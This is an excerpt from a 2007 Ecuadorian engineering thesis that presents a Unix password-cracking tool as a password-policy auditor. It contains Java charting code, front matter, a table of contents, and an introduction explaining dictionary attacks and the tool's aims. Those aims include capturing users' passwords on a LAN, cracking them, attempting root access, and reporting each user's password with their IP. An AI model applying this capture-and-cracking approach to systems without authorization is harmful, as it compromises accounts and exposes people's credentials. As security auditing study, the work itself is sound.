plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white); final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions( CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0)); return chart; } static float bajo =0; static float medio =0; static String IP = ""; static float y_bajo=0; static float y_medio=0; }

Bar_3d_vig_ip_todos.java

import java.SQL.*; import java.io.*; import java.net.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import java.awt.*; import java.awt.Color; import java.awt.Dimension; import java.awt.GradientPaint; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartPanel; import org.jfree.chart.JFreeChart; import org.jfree.chart.axis.CategoryAxis; import org.jfree.chart.axis.CategoryLabelPositions; import org.jfree.chart.axis.NumberAxis; import org.jfree.chart.plot.CategoryPlot; import org.jfree.chart.plot.PlotOrientation; import org.jfree.chart.renderer.category.BarRenderer; import org.jfree.data.category.CategoryDataset;

Page 337: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

322

import org.jfree.data.category.DefaultCategoryDataset; import org.jfree.ui.ApplicationFrame; import org.jfree.ui.RefineryUtilities; public class bar_3d_vig_ip_todos extends ApplicationFrame { public bar_3d_vig_ip_todos() { super("Estadisticas de vigencia de passwords toda la red"); CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); } private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); String SQL_1 = "select count(estado) from reporte where estado = 'vigente' "; String SQL_2 = "select count(estado) from reporte where estado = 'expirado' "; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); if(resultset_1.next()) { bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } float suma = medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % vigentes","vigentes"); result.setValue(y_medio, String.valueOf(y_medio)+" % expirados","expirados"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart( "Grafico de vigencia de los passwords todas las IP's", // chart title

Page 338: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

323

"IP", // domain axis label "Porcentajes", // range axis label dataset, // data PlotOrientation.VERTICAL, // orientation true, // include legend true, // tooltips? false // URLs? ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white); plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white); final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions( CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0)); return chart; } public static void main(String[] args) { bar_3d_vig_ip_todos demo = new bar_3d_vig_ip_todos(); demo.pack(); RefineryUtilities.centerFrameOnScreen(demo); demo.setVisible(true); } static float bajo =0; static float medio =0; static float y_bajo=0; static float y_medio=0; }

Page 339: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

UNIVERSIDAD DE GUAYAQUIL

Facultad de Ciencias Matemáticas y Física

Carrera de Ingeniería en Sistemas

Computacionales

“Cracker de Passwords Unix”

PROYECTO DE GRADO

Previo a la Obtención del Titulo de:

INGENIERO EN SISTEMAS COMPUTACIONALES

Autor(es):

Alicia Victoria Aldaz Borja

José Luís Hidalgo Torres

Karina Gisela Valenzuela Burbano

GUAYAQUIL – ECUADOR

Año: 2007

Page 340: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

II

AGRADECIMIENTO

Agradecemos a todas las personas que han

contribuido de alguna manera a la realización

de nuestro proyecto y a nuestros padres por

estar siempre guiándonos en nuestra vida

estudiantil.

Page 341: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

III

DEDICATORIA

Dedicamos este trabajo a Dios por estar

siempre a nuestro lado en todo momento y a

nuestros padres porque siempre han creído en

nosotros y nos brindaron en todo este tiempo su

apoyo y amor.

Page 342: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

IV

TRIBUNAL DE GRADUACIÓN

Presidente del Tribunal Primer Vocal Segundo Vocal Secretario

Page 343: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

V

DECLARACIÓN EXPRESA

“La autoría de la tesis de grado corresponde exclusivamente al suscrito(s),

perteneciendo a la Universidad de Guayaquil los derechos que generen la

aplicación de la misma”.

(Reglamento de Graduación de la Carrera de Ingeniería en sistemas

Computacionales, Art. 26)

Page 344: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

VI

RESUMEN

El Cracker de Passwords Unix fue desarrollado para adoptar medidas de

seguridad ya que ellas pueden ser violentadas por varios factores ya sean

internos o externos a la empresa. Esta aplicación fue diseñada usando la

arquitectura de tres capas. Unos de los principales problemas son los

ataques mal intencionados de personas internas o externas a la empresa, se

debe tener cuidado en quienes y de que modo accedan al sistema.

Se cuenta con una herramienta apropiada fácil de usar, intuitiva que permite

evaluar las políticas de password implantadas en las computadoras de una

empresa.

El sistema da una solución óptima y efectiva de la problemática planteada,

con el objetivo incluso de evaluar que tan seguro es el sistema ante un

ataque de un hacker.

Page 345: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

VII

ÍNDICE GENERAL

AGRADECIMIENTO II

DEDICATORIA III

TRIBUNAL DE GRADUACIÓN IV

DECLARACIÓN EXPRESA V

RESUMEN VI

ÍNDICE GENERAL VII

GLOSARIO DE TÉRMINOS 138

ANEXOS 143

CAPITULO 1 1

Introducción 1

¿Para qué tomar Seguridades? 1

Cracker de Passwords 3

¿Qué son ataques de contraseñas? 4

Problemática 4

Solución 5

Visión 7

Misión 7

Page 346: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

VIII

Objetivos Generales 9

Objetivos Específicos 10

Alcances 11

Arquitectura de Sistema 13

Modelo de Desarrollo 14

Metodología 15

Recursos Tecnológicos 15

Recurso Humano 16

Gestión de Riesgo 17

Definiciones de Riesgos 18

Impacto y Probabilidad de los Riesgos 21

Plan de Contingencia 28

Tabla de Riesgos 36

Mecanismo de seguimiento y control 37

Cronograma 38

Análisis Económico 42

Análisis Legal 43

Análisis FODA 45

CAPITULO 2 49

ANÁLISIS 49

2.1.- Levantamiento de la información 49

Page 347: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

IX

2.1.1.- Por que realizar este proyecto 49

2.1.2.- Quienes son los atacantes 52

2.1.3.- Categorías de los atacantes 54

2.2.- Análisis de requerimientos 55

2.3.- Diccionario de datos. 56

Diagrama de Entidad de Relación 73

Diagrama de Transición de Datos 74

Diagrama de Especificación de Proceso 79

CAPITULO 3 93

DISEÑO 93

3.1.- Diseño de la interfaz 93

Ventana clave de ingreso 94

Ventana inicial 95

Ventana scan ip 96

3.2.- Diseño a Nivel de Componentes 108

CAPÍTULO 4 109

DESARROLLO Y PRUEBAS DEL SISTEMA. 109

4.1.- Desarrollo del sistema 109

4.2.- Creación de los componentes 110

4.3.- Seguridades 111

Page 348: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

X

4.3.1.- Sistema operativo. 112

4.3.2.- Base de Datos 112

4.3.3.- Registros de logs 113

4.3.4.- Humano 114

4.4.- Pruebas del sistema 114

4.4.1.- Verificación y validación 115

4.4.2.- Pruebas de Unidad 115

4.4.3.- Pruebas de Integración 118

4.4.4.- Pruebas Alfa y Beta 118

4.4.5.- Pruebas de Seguridad 119

4.5.- Calidad del Sistema 120

CAPÍTULO 5 122

IMPLEMENTACIÓN DEL SISTEMA 122

5.1.- Tecnología 122

5.1.- Elementos Físicos 124

5.2.- Elementos lógicos 126

5.3.- Recurso Humano 128

5.4.- Infraestructura 129

5.5.- Capacitación a los usuarios. 129

CAPÍTULO 6 130

Page 349: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XI

RECOMENDACIONES Y CONCLUSIONES DEL PROYECTO. 130

6.1.- Recomendaciones 130

6.1.1.- Hardware 131

6.1.2.- Software 132

6.1.3.- Red 134

6.1.4.- Puesta en marcha 135

6.1.5.- Seguridades 135

6.1.6.- Conclusiones 136

GLOSARIO DE TÉRMINOS 138

ANEXOS 143

Entrevista 143

Análisis de la Entrevista 145

Cronograma de Actividades 146

Gráficos Estadísticos en Pastel 147

Gráficos Estadísticos en Barra 148

BIBLIOGRAFÍA 149

Libros consultados: 149

Paginas web consultadas: 149

Page 350: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XII

ABREVIATURA

DER.- Diagrama de Entidad de Relación.

DES.- Diagrama de Especificación de Sistema.

DFD.- Diagrama de Flujo de Datos.

DTD.- Diagrama de Transición de Datos.

DFI.- Diagrama de Flujo de Información.

DOS.- Denied Of Service.

FSF.- Free Software Foundation.

FTP.- File Transfer Protocol.

GPL.- General Public License.

GUI.- Graphic User Interfaces.

HD.- Hard Disk.

IP.- Internet Protocol.

ICMP.- Internet Control Message Protocol.

JRE.- Java Runtime Environment.

LAN.- Local Area Network.

RAM.- Random Access Memory.

SAP.- Sistema de Auditoria de Password.

SQL.- Structural Query Language.

TCP.- Transport Control Protocol.

UDP.- User Datagrama Protocol

Page 351: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XIII

ÍNDICE DE GRÁFICOS

GRAFICO -1- ................................................................................................ 15

Modelo de Prototipos ................................................................................. 15

GRAFICO -2- ................................................................................................ 57

Diagrama de especificación del Sistema (DES) ....................................... 57

GRAFICO -3A- ............................................................................................. 58

Diagrama Flujo de Información (DFI) ........................................................ 58

GRAFICO -3B- ............................................................................................. 59

Diagrama Flujo de Información (DFI) ........................................................ 59

GRAFICO -4A- ............................................................................................. 60

Diagrama de Flujo de Datos (DFD) ............................................................ 60

GRAFICO -4B- ............................................................................................. 61

Diagrama de Flujo de Datos (DFD) ............................................................ 61

GRAFICO -4C- ............................................................................................. 62

Diagrama de Flujo de Datos (DFD) ............................................................ 62

GRAFICO -4D- ............................................................................................. 63

Diagrama de Flujo de Datos (DFD) ............................................................ 63

GRAFICO -4E- .............................................................................................. 64

Diagrama de Flujo de Datos (DFD) ............................................................ 64

GRAFICO -4F- .............................................................................................. 65

Diagrama de Flujo de Datos (DFD) ............................................................ 65

Page 352: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XIV

GRAFICO -4G- ............................................................................................. 66

Diagrama de Flujo de Datos (DFD) ............................................................ 66

GRAFICO -4H- ............................................................................................. 67

Diagrama de Flujo de Datos (DFD) ............................................................ 67

GRAFICO -4I- ............................................................................................... 68

Diagrama de Flujo de Datos (DFD) ............................................................ 68

GRAFICO -4J- .............................................................................................. 69

Diagrama de Flujo de Datos (DFD) ............................................................ 69

GRAFICO -4K- ............................................................................................. 70

Diagrama de Flujo de Datos (DFD) ............................................................ 70

GRAFICO -4L- .............................................................................................. 71

Diagrama de Flujo de Datos (DFD) ............................................................ 71

GRAFICO -4M- ............................................................................................. 72

Diagrama de Flujo de Datos (DFD) ............................................................ 72

GRAFICO -5- ................................................................................................ 73

Diagrama de Entidad de relación (DER) ................................................... 73

GRAFICO -6A- ............................................................................................. 79

Diagrama de Especificación de Procesos ................................................ 79

GRAFICO -6B- ............................................................................................. 80

Diagrama de Especificación de Procesos ................................................ 80

GRAFICO -6C- ............................................................................................. 81

Page 353: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XV

Diagrama de Especificación de Procesos ................................................ 81

GRAFICO -6D- ............................................................................................. 82

Diagrama de Especificación de Procesos ................................................ 82

GRAFICO -6E- .............................................................................................. 83

Diagrama de Especificación de Procesos ................................................ 83

GRAFICO -6F- .............................................................................................. 84

Diagrama de Especificación de Procesos ................................................ 84

GRAFICO -6G- ............................................................................................. 85

Diagrama de Especificación de Procesos ................................................ 85

GRAFICO -6H- ............................................................................................. 86

Diagrama de Especificación de Procesos ................................................ 86

GRAFICO -6I- ............................................................................................... 87

Diagrama de Especificación de Procesos ................................................ 87

GRAFICO -6J- .............................................................................................. 88

Diagrama de Especificación de Procesos ................................................ 88

GRAFICO -6K- ............................................................................................. 89

Diagrama de Especificación de Procesos ................................................ 89

GRAFICO -6L- .............................................................................................. 90

Diagrama de Especificación de Procesos ................................................ 90

GRAFICO -6M- ............................................................................................. 91

Diagrama de Especificación de Procesos ................................................ 91

Page 354: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XVI

GRAFICO -6N- ............................................................................................. 92

Diagrama de Especificación de Procesos ................................................ 92

GRAFICO -7- ................................................................................................ 94

Ventana de Ingreso ..................................................................................... 94

GRAFICO -8- ................................................................................................ 95

Ventana de Inicio ........................................................................................ 95

GRAFICO -8A- ............................................................................................. 96

Ventana de Scan Ip ..................................................................................... 96

GRAFICO -8B- ............................................................................................. 97

Ventana de Scan Ip ..................................................................................... 97

GRAFICO -9- ................................................................................................ 98

Ventana de Ataque ...................................................................................... 98

GRAFICO -10- .............................................................................................. 99

Ventana de Análisis de Password ............................................................. 99

GRAFICO -11A- ......................................................................................... 100

Diseño Arquitectónico .............................................................................. 100

GRAFICO -11B- ......................................................................................... 101

Diseño Arquitectónico .............................................................................. 101

GRAFICO -11C- ......................................................................................... 102

Diseño Arquitectónico .............................................................................. 102

GRAFICO -11D- ......................................................................................... 103

Page 355: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XVII

Diseño Arquitectónico .............................................................................. 103

GRAFICO -11E- .......................................................................................... 104

Diseño Arquitectónico .............................................................................. 104

GRAFICO -11F- .......................................................................................... 105

Diseño Arquitectónico .............................................................................. 105

GRAFICO -11G- ......................................................................................... 106

Diseño Arquitectónico .............................................................................. 106

GRAFICO -11H- ......................................................................................... 107

Diseño Arquitectónico .............................................................................. 107

GRAFICO -12- ............................................................................................ 108

Diseño a Nivel de Componentes ............................................................. 108

Page 356: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XVIII

ÍNDICE DE TABLAS

TABLA -1- .................................................................................................... 36

Tabla de Riesgo .......................................................................................... 36

TABLA -2- .................................................................................................... 41

Cronograma................................................................................................. 41

TABLA -3- .................................................................................................... 42

Análisis Económico .................................................................................... 42

TABLA -4- .................................................................................................. 124

Costos de Implementación ...................................................................... 124

Page 357: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPITULO 1

Introducción

¿Para qué tomar

Seguridades?

Lamentablemente, la mayoría de sistemas

operativos al momento de la instalación

activan servicios que muchas veces nunca

los necesitaremos en el futuro y por lo

tanto, abran mas puertas de bienvenida a

intrusos ajenos a la red. Si un

administrador de sistemas tiene poca

Page 358: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

2

experiencia en el sistema operativo que esta tratando de poner a punto,

puede poner en riesgo no solo ese servidor sino toda su red. Es por eso, que

es necesario adoptar medida de seguridad de igual manera que las

adoptaríamos para protegernos en nuestro hogar, en nuestros trabajos o en

lugares que no conocemos. La pregunta que surge es, ¿Protegernos de

quien? ¿Cómo? y ¿Cuándo?

En la actualidad sabemos perfectamente que nuestras seguridades pueden

ser violentadas por varios factores, sean estos internos y externos a la

empresa. Uno de los principales problemas que se pueden presentar en

cuanto a violaciones de seguridad son los ataques mal intencionados de

personas internas o externas a la empresa, conocidos como “Hackers “.

Una de las medidas a tomar para el control de autenticación en las

maquinas, es el uso de claves para tener permiso de trabajar sobre

aplicaciones o poder ver cierta información de carácter clasificado, o que solo

se puede ver hasta cierto nivel de usuario.

Las claves de acceso común en contra de accesos no autorizados a un

sistema, prácticamente hoy en día son la única barrera; es por eso que hay

que poner especial atención en el tema de elección de las claves de acceso.

Un caso de ejemplo es el siguiente:

Page 359: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

3

Muchas personas dirían que es imposible que un usuario ponga de clave de

acceso su mismo nombre, pero esto no es así, ya que por costumbre o

facilidad los usuarios colocan nombres de personas, animales, fecha de

nacimiento, en fin, cosas que para ellos son fáciles de recordar. Y desechar

esta costumbre se vuelve difícil en muchos casos para los usuarios, porque

ya están enseñados a trabajar de esta forma.

Entre los problemas tenemos que cuando un intruso entra en un sistema, lo

considera propiedad de el, siempre el intruso va a tratar de conseguir

mayores privilegios dentro del sistema hasta lograr los privilegios del

administrador de sistemas. El otro objetivo del intruso es mantenerse en el

sistemas el mayor tiempo posible y para realizar esto, el intruso se vale de

varias herramientas unas de las usadas y principales es el Cracker de

Passwords, traducido al castellano seria reventador de claves de acceso.

Cracker de Passwords

El cracker de passwords o reventador de claves de acceso es una

herramienta muy usada por los intrusos y a la vez muy útil. Una vez que el

intruso ha logrado conseguir el archivo de claves, el intruso pone a funcionar

el cracker con ese archivo. Este cracker, es un programa que se dedica a

comparar las claves en contra de un diccionario.

Page 360: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

4

¿Qué son ataques de contraseñas?

Son las diversas técnicas que incluyen cualquier acción dirigida a romper,

descifrar o borrar contraseñas o cualquier mecanismo de seguridad de las

mismas.

En cuanto a seguridad el ataque a contraseña son los primeros porque pone

en peligro a todo el sistema.

Lo que pretendemos con la realización de este proyecto es, principalmente,

evaluar los niveles de seguridad con que cuenten las maquinas de una

empresa, al realizar un ataque intencionado a todas las claves que manejen

los usuarios, a ver que tan fácil o difícil se le haría a un hacker acceder al

sistema, alterar o robarse claves, además de poder evaluar el nivel de

robustez de las mismas.

Problemática

Hoy en día contar con una buena metodología se seguridad es necesario en

toda empresa, más aun se debe tener especial cuidado en quienes y de que

modo son los que accedan al sistema, quienes controlan las maquinas cuyos

procesos son críticos en la empresa.

Page 361: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

5

El uso de password seguros no es una política muy común en las empresas

Ecuatorianas, especialmente en las medianas que esta en crecimiento, tal

vez por no contar con los recursos o el asesoramiento adecuado.

En muchos de los casos, no existe una verdadera política de control y uso de

Password robustos, no solo basta con creer que configurando bien un

Firewall o un antivirus, ya se lo tiene todo, en cualquier momento, uno puede

ser atacado ya sea interna o externamente. Si no se cuenta con claves de

acceso por lo menos medianamente robustos, se corre un gran peligro,

especialmente en servidores críticos. No queremos decir que con una clave

robusta se soluciona todo pero si este tipo de ataque tiene efecto, es decir, si

alguien gana acceso por algún medio a mi sistema, algún servidor, tendrá el

control absoluto a esta máquina, y todo esquema de seguridad implantado se

vendrá abajo ya que atacante puede desde robar información hasta dañar

los programas o el funcionamiento de la maquina.

Solución

Se cuenta con una herramienta apropiada fácil de usar, intuitiva que me

permite evaluar las políticas de password implantadas en las computadoras

de una empresa.

Page 362: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

6

Nuestro sistema da una solución optima y efectiva de la problemática

planteada, con el objetivo incluso de evaluar que tan seguro es el sistema

ante un ataque de un hacker, tratando de obtener acceso al sistema este

sistema evalúa y da un diagnostico de que tipo de claves están siendo

usadas en una computadora determinada.

Si se encuentran falencias en las contraseñas usadas, el sistema da una

solución efectiva e inteligente, ya que cuenta con una gran base de datos de

contraseñas de todo tipo, y en diversos idiomas, lo cual nos permite evaluar y

comparar las contraseñas capturadas en el sistema para dar un diagnostico

de su tipo y el riesgo que se corre al usar determinada clave.

El sistema además sugiere el uso de claves, y hace una consulta de las

políticas de contraseñas usadas y de cómo puede uno sufrir ataques de

password, para que en la empresa se tomen las medidas pertinentes, por

parte del administrador del sistema.

El sistema nos muestra gráficos estadísticos de las claves que son o no

robustas en porcentajes y así dar una solución rápida. El sistema emite

reporte de los usuarios con sus claves respectivas y sus IP, con esto el

administrador puede observar las claves registradas en las maquinas.

Page 363: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

7

Visión

El sistema en un inicio se lo podrá ofrecer en una versión Freeware con el

objetivo de darlo a conocer entre la comunidad de programadores y

administradores, de centro de computo, para que den sus opiniones y

sugerencias, y ya con la información recolectada poder desarrollar una

versión para comercialización, o se podrá también ofertar ciertas versiones

bajo licencia GPL, ya que el sistema está orientado especialmente a trabajar,

bajo ambiente UNIX, en versiones Fedora Core 3.0 y superior.

Se busca que en un corto tiempo el sistema se haga conocido y sea usado

como un método incluso de Auditoria de Contraseñas.

Entregar al mercado de software del Ecuador una herramienta de evaluación

de password confiable y certera.

Misión

Con este proyecto se espera poder ofrecer una herramienta de seguridad

más que permita robustecer la seguridad en cuanto al acceso y uso de

claves en una empresa.

Page 364: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

8

Que se implementen políticas adecuadas y normalizadas sobre el uso del

password e incluso políticas básicas y avanzadas de seguridad en general.

Hacer conciencia en las personas que trabajen en el área de informática,

acerca de los peligros que se corren si uno no cuenta con una clave de

usuario robusta y si no se cuenta con políticas adecuadas de seguridad en

general.

Que en el departamento o centro informático en cual se vaya a probar el

proyecto se redacte un documento estándar de seguridad, con el cual deberá

ser dado a conocer y puesto en marcha en el menor tiempo posible.

De existir ya políticas de seguridad en la empresa, revisar y poner énfasis

sobre el uso de claves y password, para comprobar si estas son adecuadas.

Una vez que se ejecuta el programa verificar si se están cumpliendo con las

políticas de seguridad de contraseña y hacer los cambios necesarios si se lo

considera oportuno.

Brindar capacitación a los usuarios que tengan bajo su cargo un computador

en los siguientes puntos:

• Del peligro que corren cuando su PC es accedida por alguien ajeno o

no autorizado.

Page 365: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

9

• De cuidar y ver que se cumplan con las políticas de seguridad que se

están implementando.

• Uso de herramientas de diversas índoles para poder controlar la

seguridad en las maquinas como firewall, antivirus, etc.

• Explicar los diversos tipos de ataques a los servidores, especialmente

los Linux y como prevenirlos.

• Capacitar a los administradores del riesgo que corre cuando personas

no autorizadas acceden a los servidores o a la red.

Objetivos Generales

Crear una aplicación especializada que permita la administración de

passwords en el sistema.

Desarrollar un software capaz de capturar y evaluar las claves dentro de un

entorno LAN.

Dar una herramienta capaz de brindar una auditoria y consejos sobre

políticas de passwords.

Page 366: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

10

Proporcionar datos estadísticos y reportes de todas las actividades de

evaluación de contraseñas que realice el programa.

Objetivos Específicos

Crear una aplicación que permita facilitar la administración de los passwords

que se estén manejando en cada una de las maquinas de los usuarios, con

el fin de poder hacer diferentes evaluaciones al sistema.

Capturar las claves de los diferentes servicios para poder evaluar si es una

contraseña repetida, débil, esta por caducar y si es robusta, además de

probar si puedo de alguna forma, cambiar o alterar claves para obtener

diferentes beneficios sobre una maquina, como Ej., una autenticación como

usuario root (principal).

Revisar el informe de las claves de los usuarios que lleva el administrador

para que pueda tener un control de las que se están usando, monitorear que

tan vulnerable está frente a ataques internos o externos de hackers, y poder

también evaluar medidas de prevención y protección frente a estos posibles

ataques.

Capacitar a los usuarios para que no cometan errores al implementar sus

contraseñas tales como contraseñas idénticas y débiles para varias

Page 367: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

11

aplicaciones ya que estas pueden ocasionar agujeros de seguridad, y por lo

tanto, el sistema podría ser invadido.

Evaluar el nivel de seguridad de las maquinas de la empresa, hackeando

intencionalmente al sistema, con el fin de probar todas sus configuraciones

de seguridad, de que forma están implementadas y poder sugerir alternativas

de seguridad.

Alcances

